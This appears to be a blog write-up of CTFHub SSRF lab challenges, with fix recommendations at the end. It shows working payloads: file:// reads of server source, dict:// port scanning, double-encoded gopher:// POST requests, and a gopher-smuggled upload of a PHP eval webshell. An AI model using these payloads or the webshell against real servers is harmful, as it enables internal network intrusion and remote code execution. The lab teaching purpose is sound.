banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSRF Learning - CTFHub Target Field - Basic Section

Concept#

SSRF, short for Server-Side Request Forgery, is a vulnerability that allows an attacker to send requests on behalf of the server. It enables the attacker to "forge" the request signature of the vulnerable server, thereby dominating the web, bypassing firewall controls, and gaining access to internal services.

Cause: This occurs because the server provides functionality to fetch data from other server applications but does not strictly filter or restrict the target addresses, allowing attackers to input arbitrary addresses for the backend server to send requests to and return data from those target addresses.

When might SSRF occur? The most common scenario is when the server needs external resources.

For example, when a web application needs to load a thumbnail from google, the request might look like this:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

When fetching cutpugs.jpeg from google.com, the Web application must access google.com and retrieve content from it.

If the server does not differentiate between internal and external resources, the attacker can easily issue requests:

https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

This would make the web server display a file containing passwords from the attacker's web server.

Some functions that are often vulnerable to SSRF attacks include Web hooks, file uploads via URL, document and image processing, link expansion, and proxy services (as these functions require access to and retrieval of external resources).

In PHP: Improper use of certain functions can lead to SSRF, such as:

  • file_get_contents(): Reads the content of a file into a string; when the URL is an internal file, it reads the file's content first and then writes it, leading to file reading.
  • fsockopen(): Obtains data (file or HTML) from a user-specified URL; this function establishes a TCP connection with the server using a socket to transmit raw data.
  • curl_exec(): Performs penetration through the file, dict, and gopher protocols.

Hazards: Obtaining banner information of reachable server services from the web application, as well as collecting fingerprint recognition of internal web applications.

Based on this information, further penetration can be conducted to attack systems or applications running on the internal network, obtaining weak passwords for internal network roaming.

Attacks can be implemented on vulnerable internal web applications to obtain webshells.

Exploiting vulnerabilities in components combined with protocols like ftp://, file://, dict://, etc.

Vulnerability points:

  • Sharing web content via url addresses.
  • File processing, encoding processing, transcoding services, etc.
  • Online translation.
  • Loading and downloading images via URL addresses.
  • Image and article bookmarking features.
  • Unpublished API implementations and other URL-calling functions.
  • Website email receiving functionality from other email accounts.

Searching for the url keyword:

share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain

Next, we will conduct practical explanations in conjunction with the ctfhub target.

0x01 Question One: Internal Network Access#

Simple demonstration:

Let's start with a warm-up example, still from the ctfhub skill tree, web question one: Internal Network Access.

The question prompt is: Try to access flag.php located at 127.0.0.1.

Opening the question shows a blank page, with the url as xxx.com:yyyy/?url=_.

Hmm, well, I don't know what that means, is this article over? No way.

url=127.0.0.1/flag.php

image

Alright, next.

0x02 Question Two: Port Scanning#

The question prompt states that the port is between 8000-9000, so we can scan directly.

Here we need to use the dict pseudo-protocol to scan, as the dict protocol can be used to probe open ports.

You can refer to the reference article at the end for learning about pseudo-protocols.

image

image

We find port 8605:

image

We obtain the flag, and now let's move on to the next question: POST request.

0x03 Question Three: POST Request#

The question description is:

"This time, send an HTTP POST request. By the way, SSRF is implemented using PHP's curl and will follow 302 redirects. Good luck, young man."

From the hint, we know that we need to use SSRF to send a POST request, which naturally leads us to think of gopher.

The question also mentions curl, which happens to support the gopher protocol.

Therefore, this question is likely about using gopher to send a POST request and then obtaining the flag.

First, let's check if flag.php exists:

image

Indeed, flag.php exists, and the response contains a debug parameter key.

<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->

We need to use the gopher protocol to post the key to flag.php via the redirect from 302.php.

However, it is important to note that we need to send data from 127.0.0.1.

Let's first see if we can read the contents of flag.php and index.php:

/?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

/?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

You can also refer to the reference article at the end for learning about pseudo-protocols.

Constructing gopher data:

We first need to go through:

{host}:{port}/index.php?url=http://127.0.0.1/302.php

to redirect using the gopher protocol, constructing the POST. Combining gopher, the data packet should look like this:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=4a0c2731eeeb016454ef8984765b990d

Every part of the above data packet is essential. Note that:

  • Pay special attention to the length of Content-Length; this field must be present, and the length must be correct.
  • Remember to change the key.
  • The number of URL encodings mainly depends on how many requests you make; for example, a direct POST request counts as one, while a direct ?url adds another, totaling 2.

Here, I recommend a very useful online encoding website, CyberChef.

First, search for url encode in the left search bar and drag this function to the function bar.

Copy the above code into it to get the result of the first URL encoding (note that by default, special characters do not need to be checked for encoding):

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d

Here, we need to handle the line breaks; the default line break encoding is %0A, but we need to change it to %0D%0A.

So, we search for Find / Replace in the left and drag it to the function bar to configure accordingly:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d

Finally, since we are going through ?url, we need to encode it again:

image

The final packet is:

GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Sending the packet gets the flag:

image

0x04 Question Four: File Upload#

The prompt is:

This time, you need to upload a file to flag.php. Good luck.

Directly accessing flag.php at 127.0.0.1, we find a file upload interface prompting us to upload a webshell:

image

However, it seems there is only a file selection option and no upload button. Accessing ?url=file:///var/www/html/index.php, we get the source code of index.php:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

Accessing ?url=file:///var/www/html/flag.php, we get the source code of flag.php:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

It can be seen that flag.php only requires the uploaded file size to be greater than 0 to obtain the flag, with no filtering.

Next, we will attempt to use the gopher protocol to upload a file. First, we need to obtain the data packet for file upload to write the gopher payload.

Thus, we will rewrite the front end of the file upload flag.php page using F12, adding a submit button.

(However, clicking the submit button does not yield the flag; it must be accessed locally from the target machine.)

Adding a line:

<input type="submit" name="submit">

This will create a submit button:

image

Select any file, enable packet interception, and click the submit button.

image

Since accessing flag requires local access, we change the HOST to 127.0.0.1.

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"

Submit Query
-----------------------------22285140113870486144781081380--

Then, like the previous operation, URL encode once, change %0A to %0D%0A, and then URL encode again.

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--%250D%250A

Using the gopher protocol, we can successfully obtain the flag:

image

Recommendations for Fixes#

  • Disable unnecessary protocols and only allow HTTP and HTTPS requests to prevent issues caused by protocols like file://, gopher://, ftp://, etc.
  • Use a whitelist approach to restrict access to target addresses, prohibiting requests to internal networks.
  • Filter or block detailed information returned by requests; verifying the response from the remote server to the request is a relatively easy method. If the web application is fetching a certain type of file, validate the returned information against standards before displaying it to users.
  • Validate the file format of requests.
  • Disable redirects.
  • Limit request ports to commonly used HTTP ports, such as 80, 443, 8080, 8000, etc.
  • Standardize error messages to prevent users from determining the status of remote server ports based on error information.

Reference articles:

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.